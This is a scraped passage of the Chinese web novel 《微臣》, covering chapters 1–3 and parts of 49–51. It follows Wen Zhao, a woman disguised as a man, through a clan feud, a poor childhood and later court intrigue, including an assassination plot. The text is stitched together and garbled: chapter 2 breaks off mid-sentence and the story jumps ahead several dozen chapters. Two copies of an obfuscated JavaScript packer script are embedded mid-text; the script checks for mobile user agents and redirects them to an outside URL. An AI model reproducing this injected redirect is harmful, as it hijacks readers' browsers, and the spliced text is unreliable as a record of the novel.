《微臣》 1. 第一章 《微臣》全本免费阅读 子夜,昏黑无边,北风如割。 原平县文氏家族聚居地外,涌动着一群黑影。 “大兄,那文氏族人吃醉了酒后亲口说的,文照那小子即将去洛京授官,特在今晚设酒大宴宾客,正是我们将文氏一网打尽的好时机!”一个瘦小的黑影附在为首那人耳边嘀嘀咕咕道。 为首那人只是沉吟着并不答话,直到远处的漆黑丛林里窜出来一个人,打着呼哨朝这里跑来,为首这人顿时眼睛一亮,高声问:“小郎,文氏族中情况如何?” 那人朝为首这人一拱手,大喘着气道:“大兄,文氏一族果真在大肆宴饮,此刻守卫松懈无比,连放哨的人都两两聚在一起吃酒赌钱,我轻易便在他们腹地打来一个来回!” 为首这人顿时再无疑虑,站起身来哈哈大笑,“人有失错,马有失蹄,文照啊文照,纵你再怎么年少英才,也挡不住我殷大的暗中一击!小的们!” “在!!” “我殷氏与文氏结怨已久,自文照那小子得势以来,更是对我们步步紧逼,如今他得郡守青眼,竟举了孝廉,眼看就要去洛京当官了!待他得势归来,只怕要对我们殷氏赶尽杀绝,你们说,怎么办?!” “杀了他!杀了他!” “原平县,只能有一姓说话的声音!”为首的殷大拔出长刀,高举一挥,“小的们!给我杀!” 一百来人举着斧耙,高声呼喝着向文氏腹地杀去,他们浑浊的眼中燃起熊熊烈火,仿佛顷刻间就能将眼前的房屋烧为平地。 然而不待他们的刀锋劈落,冲在最前头的一批人却掉进了地上突然出现的大坑里,坑中插满了削尖的树桩,掉进去的人顿时鲜血淋漓,凄厉的惨叫割破了深邃的黑夜。 “不好!中计了!”殷大额头霎时沁出涔涔冷汗,他声嘶力竭地喊道:“这是文照那小子设下的陷阱!撤退!撤退!” 古代军队杀伐征战,素来是顺风局易,逆风局难,更不要说殷氏族人只是一群空有力气的庄稼汉,一脑子的热血被同伴的惨状冲了个冰凉,哪里还顾得上什么大局小局,一听撤退,顿时你推我搡地赛起跑来,生怕自己跑得慢。 就在这时,另有十几人举着火把骑马疾驰而来,将殷氏众人团团围住。 一个清朗的声音从中悠悠传出,“殷大,别来无恙啊。” 几名骑士让开,一个少年人骑马施施然而出,殷大定睛一看,那人皮肤黢黑、眉目清秀,一双眼瞳极亮,正是文照! “文照竖子!”殷大瞪着他咬牙切齿,扭头看下周围神情惶恐的殷氏众人,怒骂道:“你们怕什么!我们有一百来人,他们不过十几骑!文照若不死,我殷氏便再无来日!”见众人只是面面相觑,殷大又急道:“有死伤者,我殷大赠绢两匹,并奉养其老母幼子终身,决不食言!” 重赏之下必有勇夫,有十几人立时举着耙子朝文照杀来。 文照高坐马上,一动不动。 他身侧的一名骑士驱马上前,勒紧缰绳,骏马人立而起,前蹄高昂,一蹄蹬飞一人,马上骑士左右劈砍,再瞬杀二人。另外几人见状登时吓得魂飞魄散,丢下手中武器转身就跑,骑士策马从容追杀,只不过几个瞬息,那受殷大鼓动出头的十几人便死了个精光。 文照一歪头,淡淡道:“还有谁?” 殷大一张老脸惨白,他忽然大声嚎啕起来,“文兄!今番实非出自我本愿,都怪我叔父那老匹夫,都是他,是他说你非池中之物,迟早……”他哭嚎着,手却暗暗伸到背后,取下了一直挂在腰间的弩箭,只要一箭,只要一箭,眼前这可恨的小子就会…… 然而他刚将弩箭握住,后背忽然一凉,随即心口传来一阵难以言喻的剧痛。 殷大低头一看,一柄钝刀从自己背后穿胸而出,刀尖正在滴血。 他艰难转头,看见刀柄正握在素来信任的殷小郎手上,他目眦欲裂,“你……你……” 殷小郎尴尬地笑了笑,“对不住了大兄,你也知道叔父说了,文郎非池中之物,我殷氏执意与其作对,才真是自寻死路。” 说罢,他抽回了刀,殷大抽搐着倒在地上,竟是死不瞑目。 殷小郎腆着笑,将弩箭从殷大手上拽了出来,高举过头,恭恭敬敬地奉给文照,“文君,请看,这就是殷大私藏的军弩。” 先前杀敌的骑士接过弩箭递到了文照手上,文照只是淡淡地瞥了一眼便随手挂于腰间。他犹如实质的目光扫过底下殷氏众人,含笑道:“如何,诸君,可还有人要与我文某人决一死战的吗?” 见殷氏众人只是诺诺不敢言,文照状似无奈地叹道:“我文氏与你们殷氏同在原平,本该团结一致、共抗北戎,奈何殷氏族中总有小人撺掇闹事,搅弄得大家不得安宁。不过如今,小人伏诛,你我两家自可携手同行、同舟共济。” 有人颤颤地问:“文君,不追究我们今日之错?” 文照哈哈一笑,“诸君今日之事,不过是受了小人蒙蔽,有道是人谁无过?过而能改,善莫大焉。只是……” 殷氏一群庄稼汉,人均学历胎教肄业,十个人凑起来认不出半个字,听不懂文照那些之乎者也的,只能大概理解他说这事儿你们认错就算了,正想松一口气,就听文照话锋一转,一颗心登时又高高悬起。 文照悠悠道:“殷大虽是小人,有一句话倒说得不错,这原平县,终究只能有一姓说话的声音。” 殷小郎心思活络,立即纳头便拜,“我等日后以文氏马首是瞻,听凭文君吩咐!” 殷氏众人顿时跟风而行,齐齐扑跪在地,高声道:“我等听凭文君吩咐!” 声音隆隆,不绝于耳,惊起飞鸟无数。 文照凝视着那些飞掠而过的惊鸟,有片刻怔忪,转而又回神微笑道:“夜路难行,诸君便留在我文氏歇息吧。”扭头对身侧一人低声吩咐道:“阿良,将殷氏参与此次夜袭的人全部打散编入生产队,有胆敢闹事者,杀无赦。” 文良一拱手,“是,大兄。” 文照不再理会此间事,策马朝文氏族地慢慢走去,十几名骑士有数人留下跟着文良管理殷氏众人,另有数名跟在文照身后护卫,井然有序。 “大兄还是这么仁慈。”先前驱马斩杀殷氏出头之人的那名骑士策马跟在文照身边,撇着嘴道:“殷氏那群人素来爱与我们文氏作对,这些年来遇到的事儿,桩桩件件,都少不了他们作祟!照我看,就应该将他们全数枭首,祭奠我们枉死的族人!” 文照面不改色,平静地问:“成飞,我且问你,这世间最宝贵的资源是什么?” 文成飞不假思索地道:“自然是土地!” “错了,这世间最宝贵的资源,是人。”文照说:“我们身处并州雁门郡原平县,与北戎不过一线之隔,殷氏再不好,北戎南下打草谷时,他们也会拿起武器与我们共同抵抗。可若仅凭一时之气,便将上百名壮丁枭首,待秋来北戎再犯,那时我身在洛京,鞭长莫及,成飞,你可有信心护住文氏上下不受北戎丝毫侵扰?” 2. 第二章 《微臣》全本免费阅读 文母听完久久不言,最终只发出一声叹息,终是没有再行劝阻。 文照服侍母亲先睡下,自己则独坐在窗下遥望清辉。此时万籁俱寂,天地间唯悬一轮圆月独照山河。文照看着此番情景,忽然想到前世背诵过的一句诗——今人不见古时月,今月曾经照古人。 七岁时的文照独坐看明月,绝没有心情欣赏满地月色,她只会在心中一遍遍地乞求明天能多吃一口麦饭。 而此刻,十七岁的文照再度遥望圆月,整个原平县都已匍匐在她脚下。 年幼时回忆早已陈旧模糊,但回想往昔,那狰狞可怖的饥饿与疲惫感仍如附骨之蛆一般缠绕着文照——即便那已是十年前的事了。 · 十年前,原平县文氏一户贫寒人家中,一个素来以男装示人的小女孩感染了风寒,一病不起。 文照就是在那时来到了这里。 刚穿来这个世界时,文照免不了是有些新鲜好奇的。纵然这个新家庭只有一间茅房和一座小院,吃穿用度都极为寒酸,但是也没关系,既然她穿来了,说明她多半就是这个世界的女主角,没错吧? 前世文照缠绵病榻,闲暇时遍阅各大穿越小说,从兵王、特工到嫡女、娇妻,理论知识早已拉满,如今一朝穿越,重获康健,文照欣喜若狂之余,满肚子穿越者逆袭金点子即将澎拜爆发,她拍着胸脯向文母保证说:“阿母,我一定会让你过上好日子!” 文照说干就干,当即制定了穿越者逆袭三板斧。 一、制美食,开酒楼,用现代佳肴征服古人贫瘠的肠胃。 文照思索再三,决定从易到难,先从最简单的麻辣烫开始,这种鲜香火辣的口感,这种自选菜色的新奇方式,一定能震撼整个并州乃至大宁,颤抖吧!古人们! 然后文照就遇到了几个小问题。 一,她没有食材。二,她没有调料。三……她连铁锅都没有!! 在文照原先的那个世界,铁锅是到了宋朝才被发明出来的,而此地人们多用釜与甑,制作食物的方式也多为煮或蒸,听说烧烤也已被发明了出来,但这明显超出了文照家的经济水平,因此烧烤目前仅存在传闻之中。 总之,这里的生产水平显然远远不及北宋。 但这并没有击倒文照,生产水平越低,说明发展潜力越大,这是一片蓝海啊家人们!没有铁锅算什么,她就用釜! 勉强解决了器具的问题,文照问文母讨要调料。 文母小心翼翼地捻了一小撮粗盐给她。 文照拈起几粒盐尝了尝,未经加工的粗盐又苦又涩,几乎不能下咽。文照立即“呸呸”吐掉,连比带划地向文母描述,“有没有那种,吃起来辣辣的、麻麻的植物?比如花椒?茱萸?” 文母有些心疼地看着被文照浪费掉的盐,无奈地说:“阿照,你说的那些,都是贵重香料,只有官宦贵族人家才享用得起,我们文氏族中,即便如你文迁叔父那般的富裕人家,也只得逢年过节用一次香料。” 文照这才知道,原来现代社会唾手可得的平价调料,在古代竟是难得的珍宝。 调味料的缺失,导致文照的美食兴邦大业基本告吹。可她还试图垂死挣扎,万一真就被她找到了什么这个世界独有的随便煮煮就好吃的食材呢? 然而残酷的事实告诉她——没有。 此地百姓最常吃的就是麦饭和豆糜,粗粝的麦粒蒸熟了,混着豆子塞进嘴里硬咽下去,如生吞沙砾。再就一口苦涩的咸菜梗,顿时感觉这辈子都了无生趣。 文照试图上山下河,采些野菜或捉鱼,可山上的树连树皮都被饥饿的人剥光了吃掉,更不要说水里的游鱼。 在水里摸了三天毫无成果后,文照终于无奈宣告逆袭计划1.0正式破灭。 但是没有关系,她还有备案! 二、背古文,抄诗赋,用五千年底蕴碾压今人文采。 用一首《将进酒》惊掉古人下巴,然后扬名立万从此走上人生巅峰,实在是穿越文里太常见的操作,而且好巧不巧这还是个架空朝代,诗词歌赋这一块可以任由她发挥,什么李白的杜甫的,到了这大宁朝就全是她文照的! 文照下定决心要当这个文抄公,刚说到什么?《将进酒》?啊对对对,那就从《将进酒》开始。 文照翻箱倒柜找出了早死的老爹留下的遗物——一支笔和几卷竹简。 然后她愣住了。 没有纸。 好在她学过书法,毛笔字和繁体都还写得来,那么就硬着头皮在竹简上写吧,跟宣纸应该也差不多。 文照打开了竹简,又愣住了。 爹,你写篆书啊? 文照蹲在大太阳底下琢磨了半天竹简,从密密麻麻一堆篆书里头认出七个字儿。 还不确定。 文照几乎要仰天长啸——难道逆袭计划2.0又要胎死腹中吗? 她实在不甘心,于是决定继续一搏。不能走洛阳纸贵的路子,她也可以通过路人口耳相传的途径传播自己的大作嘛! 于是文照拉住了自家的隔壁邻居赵大叔,清了清嗓子,昂头挺胸开始吟诵:“君不见,黄河之水天上来,奔流到海……” 赵大叔掏了掏耳朵,一脸迷茫地问:“啥?你还要去河里摸鱼?你有这功夫不如帮你阿母编几双草鞋。” 文照:“……” 文照又找了几个族中长辈当面背诵大作,但大家都是或懵懂或嫌弃地看着她,然后问:“你在说啥?” 于是文照又知道了,在文盲率高达九成九的大宁,如她这般出身微寒之人,想要通过著作而扬名,几乎是不可能的。 大宁朝实行的是察举制,即由地方长官在辖区内选取人才并推荐给上级或中央,又叫举孝廉。 那么怎样的人才算得上是人才?有名声有人望的人是人才。 而传扬名声的渠道与方法,掌握在上层士人手中。 人家孔融之所以让个梨就能美名传天下,是因为人家姓孔,是孔子的二十世孙。 你一介草民,牛马一样的东西,终此一生或许都摸不到士人老爷的鞋底,人家干嘛要用自己的资源人脉帮你扬名?难道你也姓赵? 意识到这一点后,既不姓赵也不姓孔的文照陷入了巨大的绝望。 此刻,穿越到古代的新奇感早已褪去,接踵而来的是铺天盖地的饥饿与焦虑。 关于现代炸鸡烤鸭红烧肉等美食的记忆越是 3. 第三章 《微臣》全本免费阅读 穿越者三板斧全都挥完后,家里依旧穷得荡气回肠,至此,文照终于开始学会认命。 她逐渐地放下了那些不切实际的幻想,开始帮着阿母编织草鞋、草席,然后每天早上挑着担子出去贩卖,直到日落方归,不曾有一刻休息。可即便如此,贩卖草鞋所获得的微薄的收益,也仅仅只能保证母女俩最基础的温饱。 从春到冬,文照的脚底磨破了又愈合,愈合了又磨破,生出了厚厚的茧子,编草鞋的速度比最开始快了十倍。麦饭和豆糜的味道她也已经习惯,甚至偶尔还会产生一丝好吃的错觉。她的皮肤晒得黢黑,神情麻木而茫然,似乎已经变得和这个时代的人们没有任何分别。 她拼尽了全力,勉强保住自己不死。 穿越来的第二年开春,文照奇迹般地捉到了一条鱼。她兴冲冲地提着鱼跑回家,想着把鱼煮一碗鱼汤,和阿母一起分享。阿母接过鱼,掂了掂量,然后说:“你去把这条鱼送给你文迁叔父。” 文迁是文照的族叔,因经商有道,在文氏宗族中算数一数二的富户。他和已故的文父颇为亲近,所以还算照拂文照母女,偶尔会送来一些米粮。也正是靠着他送来的米粮,文照母女这才熬过了去年那场寒冬。 若放在一年前,文照大概会撒娇耍赖,求着母亲把这条鱼留下。可现在,她只是老老实实地一点头,“我这就给迁叔父送过去。” 然后她在送鱼的半路上,撞见了文成飞正在被宗族里其他孩子按着打。 纵然文成飞是文迁的儿子,可文照和他不熟,而且她两天才吃了一顿饭,正饿得头昏眼花,看太阳都是绿的,有心也无力。 文照拎着鱼避开他们,打算一路小跑绕过去。 她跑了几步,终于还是停下。 文照发现,自己到底还是有一些地方和这里的人们不一样。 她放下了鱼,掉头加入了这场斗殴。 几个酷爱霸凌的熊孩子发现这个不知从哪儿窜出来的野猴子要命的会打,她瞪着一双猩红的眼珠子,抡起棍子就是干。以一种不要命的打法把他们揍得鼻青脸肿,只能一边放着狠话一边一瘸一拐地开溜。 文照“呸”了一声吐掉嘴里铁锈味的唾沫,扔了棍子拉文成飞起来,“你没事儿吧?” 文成飞那时还是根豆芽菜,又瘦又小又菜。他看着满脸伤痕的文照怔了很久,突然“哇”地一声嚎啕大哭起来,抱着文照一边哭一边说:“他们……他们一直欺负我……” 文照一手拎着鱼一手拎着文成飞找到了文迁,说明了情况。文迁惊讶之余对文照万分感激,当场命人准备了鸡鸭鱼等谢礼亲自送文照回家。当着文母的面,他说:“阿照今年也八岁了,我想送她去族学学习,至少能学会读书写字,和我家成飞也好互相有个照应。” 族学就是由族中的富裕人家拿出一些钱财聘请一些老师,给族中子弟授课教学,助力家族延续发展。文氏宗族在原平县还算有些底蕴,因此是有自己的族学的,文照之所以一直没去,一是因为她家实在贫穷,二是她是女子,文母终究有些顾虑。 “这……”文母颇为迟疑地看向文照,她是个再寻常不过的封建时代的女性,虽然当年急中生智给文照套了个男孩儿的壳子,可心里明白孩子到底只是女孩儿,似乎不用也不该学文识字。 文照敏锐地察觉到这可能会成为自己逆袭的一丝机会,毫不犹豫地说:“叔父,我愿去!” 隔日,文氏族学就多了一个人。 那几个霸凌文成飞的熊玩意儿也在族学中,一见着文照便不怀好意地凑过来,文成飞立即跟只鹌鹑似的缩到文照背后,哆哆嗦嗦地说:“又……又是他们……” 几个熊孩子罢了,文照丝毫不怵,微笑着说:“怎么,昨天的打还没挨够是吧?” 几个熊玩意儿听了立即恼羞成怒,领头的那个大喝一声:“少废话!有本事的咱们今天再来打过!” “好啊。”文照仍旧微笑着,从背后掏出早已准备好的大木棒,瞬间就和几人缠斗在一起。 文成飞游离在战场外,战战兢兢地握着木棒,几度举起,可终究不敢下手。 族学里其他人看到这个新来的竟恐怖如斯,一个个也是目瞪口呆。 文照一棒子掀翻一个人,又反手捏住另一个砸过来的拳头,扭头对文成飞大吼道:“你倒是动手啊!” 文成飞看着流着鼻血、狼狈不堪的文照,闭上眼睛,使劲儿一砸! “哎哟!”被砸的那个捂着脑袋跌跌撞撞地跑开了。 文成飞看着他,又看看自己手里的木棒,呆住了,“原来……这样就行吗?” 那一头,文照已经把其他几个人都收拾了。她一脚踩着领头熊孩子的头,居高临下地说:“怎么样,服不服?” 领头的熊孩子被揍得呲牙咧嘴,但还是嘴硬道:“不服!我……我是昨天没吃饱,手软没力气!有本事你等我吃饱了咱们再打过!” 文照嗤笑一声,倒真挪开了脚,当众下了战书,“既然如此,三日之后下学,咱们在村后头的谷场再打一场,谁输就认对方当大兄。怎么样?敢不敢来?” 领头的熊孩子一咬牙,“有什么不敢的?来就来!”勉强装完逼,大概他自己也觉得丢脸,带着一帮小弟,学也不上,屁滚尿流地逃走了。 文照不以为意地抹了把鼻血,对着目瞪口呆的一帮同窗笑道:“诸君,久仰了,在下文照。” 熊孩子帮在族中小辈里横行霸道许久,文照料想有不少如文成飞这般的小倒霉鬼备受欺凌,于是命文成飞前去联络收服,还有一些钦佩文照武力过人的也自行来投,短短三日,文照的反霸凌团队便壮大许多。 然后,文照给自己的新晋小弟们下达了第一个任务:在村后的谷场挖一个陷阱。 文照说:“到时候,由我和成飞先出面与其缠斗,作不敌状,一路且战且退,将其一干人等引入陷阱,到时你们再一齐出现,彻底打服他们。” 新晋小弟们面面相觑不敢作声,文成飞踌躇着提出大家的疑虑,“大兄,这……是否有些……奸诈?” “什么奸诈,这叫兵不厌诈!”文照道:“文良那群人,就是一块滚刀肉,不彻底打服,必定后患无穷!若我不在时他们再度欺压你们,你们可有勇气联合起来干翻他们?” 众小弟十分默契地一齐摇头。 “这不就结了!”文照一拍巴掌,“还不赶紧去干活!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12433282|127968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然来了,全家人不分男女老少,拿起刀就要厮杀搏斗,打完一场,将敌人杀退后,饭食上早已溅满了血,也分不清究竟是敌人的血,还是亲人的血。” 文照静默片刻,“我身在尚书台,却从来不知道凉州的境况竟是这般恶劣。” “洛京的官老爷们哪里乐意管凉州的事儿呢?”乐玄讽刺一笑,“他们巴不得一脚将凉州和所有凉州人踹开,让我等自生自灭呢。” 文照叹道:“朝廷越是不肯在凉州下功夫,凉州的环境就越恶劣,凉州人就越少,西羌和北戎就越张狂……这完全是一个恶性循环。” 乐玄怔了一怔,用力点点头,“正是如此,所以我才来到洛京,拼尽了全力想要改变凉州人的命运。”乐玄眼中是抑制不住的颓废与失望,“可惜,我终究没能成功。” “会有转机的。”文照掷地有声地道:“如今洛京城内今古经文两派斗法斗得厉害,今文经学派失《公羊春秋》如失一臂,他们绝不会甘心就此服输,如今并州战乱平定,其他各州无有动乱,他们想要找回场子,一定会在凉州行事——凉州出现危机的时刻,或许就是凉州迎来转机的时候。” 乐玄眼眸骤然一亮,他躬身朝文照诚恳行礼,“若真有那一日,还请长明及时告知于我,纵使为凉州拼尽此身,我亦心甘情愿。” “玄策兄无需多礼。”文照一把将乐玄扶住,“于我而言,无论是凉州人、并州人、司州人还是其他各州人士,都是大宁百姓,我身为大宁官员,理当为天下百姓而竭尽全力。” 乐玄感慨叹道:“若世间如长明这般的士人多一些,如马燕那般的虫豸少一些,大宁朝局又怎么会衰败到如今的地步?” “也不止我一人。”文照微笑道:“还有周盛之、陈廷尉,还有我的老师陆太尉,以后或许还会有更多人,我们都会为此而不懈奋斗。” 不知是否是文照的错觉,在提到周棠的名字时,乐玄的脸色微微变幻了一瞬,他有些迟疑地道:“长明,有些话或许不该由我来说,只是你我一见如故,我实在不忍见你在歧途上越走越远。” 文照:“?”我怎么就走歧途了? 乐玄一脸诚恳坚毅,“周盛之再美貌,终究是个男人,长明,到底正经成亲生子才是正道,不可过分沉湎于断袖之情中。” 文照:“……” 文照:“……” 文照:“玄策兄,走好吧您嘞!” 送走了乐玄,文照一路慢慢骑马回府,她回想起乐玄口中所描述的那个艰苦贫寒的凉州,心头一时思绪万千,只是想着想着,最终又不免想到他最后留下的那句话上。 不是,她跟周棠有那么明显吗? 明明自己还什么都没来得及做呢! 感觉莫名吃了大亏的文照心情复杂,回到家中看见自己房间里头突然出现的周棠更是吓了一跳,随即莫名心虚地道:“你怎么来了?” 50. 第五十章 “我怎么不能来?”周棠似笑非笑地看着她,见文照抿着嘴不说话,他走到她身边慢慢往她身上贴,“你不想我?” 文照板着脸,伸出一根手指抵住周棠的胸膛,肃穆道:“打住,周仆射,我可是个正经人。” 周棠一愣,随即忍俊不禁,倒真后退两步让了开来,“好吧,文正经。”他自然而然地坐了下来给自己倒了盏茶,“我今日前来也是有正经事。” 文照问:“什么事?” 周棠放下茶盏,认真地道:“周梧可能想要派人刺杀你。” “……”文照微微一怔,倒也没有太多惊讶,“这倒像是他能做出来的事,只是你是怎么知道的?” “我能在他手底下支撑这么多年,当然也是有自己的消息渠道的。”周棠有些微得意地道:“周梧此人治内不严,他的姬妾和男宠中,都有我的人手。” 听到“男宠”二字,文照口中的茶水突然一噎,剧烈地咳嗽起来。 周棠伸手帮文照拍了拍背,看着她古怪的神情,狐疑地问:“怎么,有哪里不对么?” 文照连连摆手,“没事没事!” 周棠不知想到了什么,双眼一眯,语气不善地说:“前些时日京中风传你是天阉,你该不会为了撇清谣言,打算养些姬妾男宠什么的吧?” “……”文照为他离奇诡谲的思维而无语了。 “不行,文照。”周棠面无表情,一本正经地说:“我不准。” 虽然本来就没这个打算,但文照一听还是觉得不爽,不耐烦地反问:“凭什么?你难道没有吗?” 周棠定定地看着她,“我从来没有过。” “……真的假的?”文照惊诧地上下打量他,“我听说像你们这般的世家子弟,自幼便会有美貌侍婢贴身服侍,怎么偏你例外?” 周棠眼帘微垂,勾了下嘴唇,“或许是冥冥之中注定我一直在等你呢?” “说人话。” “好吧。”周棠笑道:“我自幼活得小心谨慎、战战兢兢,没有心思惦记这些事,还有么……就是不敢。”他幽幽道:“谁知道那些花一样的面孔后会不会藏着一副蛇蝎心肠?你不觉得夜半三更,身边睡着的人心里想的全是害你的心思,这很可怕吗?” 见文照沉默,他闷闷地靠上她的肩膀,“反正,文照,我不许你找别人。” 文照低头看着他,感觉像看到一只因为烦躁而用力拍打尾巴的大白猫,她顺手撸了把猫头,“那我就任由别人说我是天阉么?” 周棠眼神闪烁两下,忽而抬头,狡黠一笑,“你放心,这个我自然会想办法帮你澄清谣言。” 文照莫名觉得不对,正要出言警告他别乱来,屋外传来侍婢的声音,“公子,赵瑜公子来了。” 这头侍婢的声音刚落下,那头就响起赵瑜的大嗓门:“长明!长明!文左丞!我来找你汇报啦!” 文照心中“咯噔”一声,立即起身一把薅起周棠把他往屏风后头塞,“快,快藏起来!别教仲瑶看见你!” 周棠心不甘情不愿,扒着屏风不肯进去,“我就这么见不得人吗?” “行了别闹了!进去吧你!”文照又是哄又是骗,终于把周棠给塞了进去,那头赵瑜已经在敲门了。 “长明!过来给我开门呐!” “来了来了!”文照来不及穿鞋,赤着脚跑去给赵瑜开了门,赵瑜顺手把手里提的点心拎给文照,“慢吞吞的,干什么呢在?” “呃,睡……睡觉。” 赵瑜扭过头看了眼头顶的太阳,“你申时就睡觉啊?” 文照尴尬地挠了挠头,“是……午睡!对,我中午午睡一觉睡到现在。” 她一副做贼心虚的样子,好在赵瑜也不是来跟她闲聊的,所以并未在意她的异样,边走边说:“你不是让我在台中留意着点各方的消息么,今日陈公那边重审的消息出来了,这不,我第一时间就来告诉你。” 赵瑜前些日子从太学毕业了,与其他毕业即失业的太学生不同,赵瑜凭借家族的助力和文照的推荐,顺利入职尚书台成了一名底层令史,官位虽小,但他干劲却十足,在同一批新晋尚书令史中卷得令人发指。 “胡娘子一案的罪魁祸首,就是那个调戏她的今文经学派的官员,还有那个跟他狼狈为奸的洛京尹副手,这俩人除了害死胡娘子丈夫一事外,又被陈公查出不少以前曾犯下的龌龊事,手里沾了不少人命,陈公判了此二人腰斩之刑,其亲近家人发配交趾永世不得回京。”赵瑜在文照屋内的茶几前盘腿坐下,正想给自己倒杯茶,却忽然轻轻“咦”了一声,“长明,你方才不是在睡觉么,这怎么有两个人用过的茶盏?” 文照脑门冷汗涔涔——赵瑜手里拿的,正是刚才周棠用过的那只茶盏。 “先……先……先前有客人来过,许是婢子忘了收拾。”文照结结巴巴地说,从赵瑜手里夺过那只杯子,塞到一旁,又给他拿了只干净的茶盏。 “你家侍婢可真够懈怠的,你该多管管了。”赵瑜仍不以为意,继续道:“洛京尹那个滑不溜手的老狐狸这回总算也栽了跟头,陈公判他玩忽职守、管教下属不善,贬谪去凉州了。” “从洛京尹到凉州地方官,他这落差可真够大的。”文照同洛京尹还有几分交情,此刻也是满怀感慨。 “可不是,洛京尹可是个要紧差事,加上因此案空缺出的那些官位,这回三派之间又有得吵咯……”赵瑜话音未落,屏风后忽然传来“当啷”一声,像是什么东西掉在了地上。 赵瑜闻声猛然回头,瞥见那屏风后迅速闪过一个模模糊糊的人影,当即起身就要去查看,“谁?谁在那儿?!” 文照整个人往前一扑,用力拽住了赵瑜的衣袖,“仲瑶!仲瑶!是猫!我养了一只猫儿在房中!” “猫儿?”赵瑜一愣,他确信他方才看到的分明是个人影,再一看今日显得格外慌张的文照,总算回过味儿来。赵瑜玩味地笑起来,“长明,你养在房中的究竟是猫儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12449035|127968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是情儿?” 文照脸窜了个通红,支支吾吾地说不上话。 赵瑜大笑着拍了拍她的肩膀,道:“长明你也真是的,养个外室通房的又不是什么见不得人的事儿,尽管带出来给咱们大家伙儿的看看,别老是藏着掖着,你看你老是孑然一身,洛京城里流言蜚语都传成什么样了?” 文照无奈地抚额道:“这个不急,日后……日后再议。” “什么绝色美人儿啊看你疼得跟眼珠子似的。”赵瑜朝屏风后张望两眼,可惜什么都没瞧见,“你若真喜欢,便摆个酒正式纳了她,也不能老让人家就这么没名没分地跟着你啊。” “这个我心中有数。”文照尴尬得脚趾已经扣好了三室一厅,她再也听不下去了,掰过赵瑜的肩膀就把他往外推,“若没别的事儿,仲瑶你先回去吧,尚书台一堆事儿等着你呢!” 赵瑜张牙舞爪地挣扎,“我是把活儿都干完了才溜出来找你的!” “你太空闲了,回头我命人多派点活儿给你,年轻人需要多多锻炼。” 赵瑜还欲反抗,想起如今文照是自己上司的上司,立时偃旗息鼓,认命地被她送到门口,眼巴巴地道:“长明,记得有空带美人儿出来咱们一块儿游玩啊。” “好了,管好你自己。”文照毫不留情地“砰”地关上了门,随即便跑回自己房间,想要把“猫儿”揪出来好生教训一番。 结果房间里空荡荡,唯有窗户大开着——周棠不在房中? 周棠此刻不在文照房中,他正在大门前,悠悠然从旁晃出,晃到了赵瑜的眼前。 赵瑜看见周棠,立即打招呼,“盛之兄!好久不见!你也是来找长明的吗?” 周棠口角浮起若有若无的笑,“我方才已经找过她了。” “方……方才?” 赵瑜霎时呆若木鸡,眼睁睁看着周棠优雅地登上马车离去了。 半晌,他才勉强拧动自己僵硬的脖子,迷茫地问自己的书童,“我……我是不是发现一件了不得的事情?” · 外头谣言如何迭代更新的文照暂时无暇顾及,周棠既然给她送来消息,说周梧可能想要派人刺杀自己,那么她就要做好周梧必然会派人刺杀的准备。 人被杀,就会死。正如韩仪是太行山匪的主心骨,杀死韩仪并州之乱立解一个道理,古文经学派的领袖是陆陵,但实际负责操控全局的人却是文照,文照一死,古文经学派将和皇帝、宦官断联,目前所展现出的打破旧有技术壁垒、突破思想结界、通过特有抓手找到了己方擅长的垂直领域等等诸多新新微操也将全面衰退,退回到和今文经学派一个水平线上,到了那时,今文经学派或许就可以凭借自己丰富的经验打败古文经学派。 而文照目前只是一个尚书仆射左丞,虽有宁亭侯的爵位,但并无府兵护卫,杀死她,实在是一件低成本高回报的买卖。 “所以,文照必须死。” 太常府中,周梧脸色阴郁地说。 51. 第五十一章 “属下立即安排人手!”周梧的侍从道。 “且慢!”周梧却一摆手,止住了他的动作,“那文照心机深沉、满腹诡计,前两次刺杀失败,其中未必没有她的手笔。她如今正受古文经学派器重,陆陵那老贼如今又当了太尉,她那文宅看似平平无奇,内里说不定满是陷阱,尔等若入室刺杀,若是成功倒也罢了,若再次失败,咱们怕是又要栽好大一个跟头。” 侍卫转了转眼珠子,“既如此,咱们趁她来往官署的途中动手?” 周梧思索片刻,慢慢摇了摇头,“不妥,文照此人行踪不定,并非每日都前往官署,她出门也多走大路,人群熙攘,且甚少夜间出门,不好动手。” 说罢,周梧闭上眼眉头紧蹙,左手拇指飞快地摩挲转动食指上戴的翠玉戒指,静默许久,他手上动作突然一顿,再度睁开眼来,“有了,我将她请来我府上便是。” 侍卫一愣,“公子的意思,是把文照叫到咱们府里来杀?这……她怎么肯来?” 周梧轻蔑地勾了下唇角,“既如此,想个让她无法拒绝的由头便是。” · “什么?周梧说周淮意图拉拢西羌、侵犯凉州,邀你前去他府上共商大事?” 陆陵、何朔和陈潜闻言均是脸色骤变。 “宴无好宴。”陆陵摇摇头,“只怕邀你相商是假,暗中谋害是真,长明,你不可去。” 文照将周梧送来的请帖又收回怀中,“可是老师,若是今文经学派真的勾结外族、图谋不轨怎么办?他们不是做不出来这事儿。” 陆陵、何朔和陈潜三人都不约而同地想到了文照同他们说过的黄河决堤一事乃今文经学派的手笔,一时都沉默了。 “可是……”何朔迟疑着道:“即便周淮当真要勾结西羌,周梧身为他的嫡亲侄儿,又为何要将此隐秘之事告诉身为对手的你呢?” 